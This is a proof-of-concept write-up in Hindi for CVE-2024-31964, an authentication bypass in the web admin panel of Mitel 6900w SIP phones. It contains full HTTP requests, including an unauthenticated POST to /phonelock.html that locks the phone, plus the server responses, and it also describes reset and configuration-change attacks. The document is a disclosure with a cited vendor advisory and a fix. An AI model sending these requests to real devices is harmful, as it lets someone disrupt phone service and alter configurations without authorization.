d-raco/cve-2024-31964CVE-2024-31964 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Mitel 6900w सीरीज़ SIP फोन में एक अस्थायी प्रमाणीकरण बाईपास है, जो अनधिकृत POST अनुरोधों को डिवाइस कॉन्फ़िगरेशन संशोधित करने और सेवा से इनकार (denial of service) करने की अनुमति देता है।
CVE-2024-31964 PoC: Mitel 6900w सीरीज़ SIP फ़ोन - अस्थायी प्रमाणीकरण बायपास
यह कई Mitel उत्पादों के HTTP प्रशासनिक वेबसाइट पैनल में अस्थायी प्रमाणीकरण बायपास भेद्यता से संबंधित है।
यह हमलावर को डिवाइस कॉन्फ़िगरेशन संशोधित करने और प्रभावित डिवाइस के विरुद्ध सेवा से वंचित (denial of service) हमले करने की अनुमति देता है।
उपयोगकर्ता को कुछ मिनट पहले सफलतापूर्वक लॉग इन करना चाहिए, और हमलावर के समान स्रोत IP से लॉग इन करना चाहिए।
प्रस्तावित CVSS:
परामर्श: Mitel Product Security Advisory 24-0007
यह CVE 3 SIP फ़ोनों के ऑडिट के दौरान पाया गया था, जिनमें निम्नलिखित गुण हैं (इस CVE का परीक्षण इन 3 डिवाइस मॉडलों पर सफलतापूर्वक किया गया था):
Mitel के परामर्श के अनुसार, यह अधिक उत्पादों को प्रभावित करता है, लेकिन मेरे पास उनमें से किसी की पुष्टि करने के लिए पहुँच नहीं थी।
सामान्यतः, किसी भी Mitel नियंत्रण/प्रबंधन वेब पैनल संसाधन तक पहुँचने के लिए, "Authorization" हेडर के साथ अनुरोध करना आवश्यक है, जो पहुँचने का प्रयास करने वाले उपयोगकर्ता की साख (credentials) स्थापित करता है।
प्रमाणित अनुरोध का उदाहरण:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
यदि यह हेडर सेट नहीं है, तो हमें "Unauthorized" त्रुटि मिलती है, और हमें प्रमाणित करने के लिए कहा जाता है, जिसके लिए साख की आवश्यकता होती है।
अनधिकृत GET अनुरोध:
GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
प्रतिक्रिया:
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
हालांकि, यह पता चला है कि एप्लिकेशन के सभी POST अनुरोधों को Authorization हेडर सेट किए बिना किया जा सकता है, अर्थात एक अनधिकृत उपयोगकर्ता के रूप में, बशर्ते कि कोई वैध उपयोगकर्ता पहले हमलावर के समान स्रोत IP से लॉग इन कर चुका हो, और सीमित समय के लिए (यह मापा गया है कि समय विंडो लगभग 8 मिनट है)। अर्थात, यदि कोई वैध उपयोगकर्ता डिवाइस की प्रबंधन वेबसाइट पर लॉग इन करता है, तो लगभग 8 मिनट की एक विंडो होती है जिसके दौरान लॉग इन किए गए उपयोगकर्ता के समान IP वाला हमलावर साख जाने बिना अनधिकृत POST अनुरोध कर सकता है। यह भेद्यता काफी प्रतिबंधात्मक है क्योंकि इसमें वैध उपयोगकर्ता के साथ IP साझा करने की आवश्यकता होती है, लेकिन ऐसे मामलों में जहां पीसी साझा किया जाता है, या उसी प्रॉक्सी सर्वर के माध्यम से कंप्यूटर तक पहुँचा जाता है, शोषण की संभावनाएँ अधिक होंगी।
POST अनुरोधों के माध्यम से उपयोगकर्ता पासवर्ड बदलना (पासवर्ड की पूर्व जानकारी की आवश्यकता होती है), डिवाइस को लॉक/अनलॉक करना, डिवाइस को रीसेट करना, संपर्कों की CSV फ़ाइलें अपलोड करना, कॉन्फ़िगरेशन सर्वर को कॉन्फ़िगर करना आदि संभव है।
उदाहरण के लिए, यदि हम Authorization हेडर के बिना डिवाइस को लॉक करने का प्रयास करते हैं, तो हम देखते हैं कि डिवाइस प्रभावी रूप से अवरुद्ध हो जाता है, जिससे उपयोगकर्ता को सेवा से वंचित कर दिया जाता है, और हम फ़ोन को रीबूट भी कर सकते हैं, जिससे सेवा अस्थायी रूप से पूरी तरह बंद हो जाती है। एक त्वरित परीक्षण के रूप में, हमने स्पीड-डायल कुंजियों और कॉन्फ़िगरेशन सर्वर को भी प्रभावी रूप से संशोधित किया है।
अनधिकृत फ़ोनलॉक अनुरोध का उदाहरण:
POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
सफल अनधिकृत प्रतिक्रिया:
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='https://github.com/d-raco/cve-2024-31964/blob/main/support'>Servicio de soporte técnico</a></span></div></div></body></html>
इसके अतिरिक्त, हम डिवाइस रीसेट का अनुरोध कर सकते हैं:
और कनेक्टिविटी के अस्थायी नुकसान की पुष्टि करने के लिए ping का उपयोग कर सकते हैं:
हम अधिकांश पैरामीटर बदल सकते हैं... उदाहरण के लिए, FTP सर्वर:
Authorization हेडर हमेशा आवश्यक और मान्य होना चाहिए, और/या सत्र को स्रोत IP के बजाय कुकीज़ के साथ प्रबंधित किया जाना चाहिए।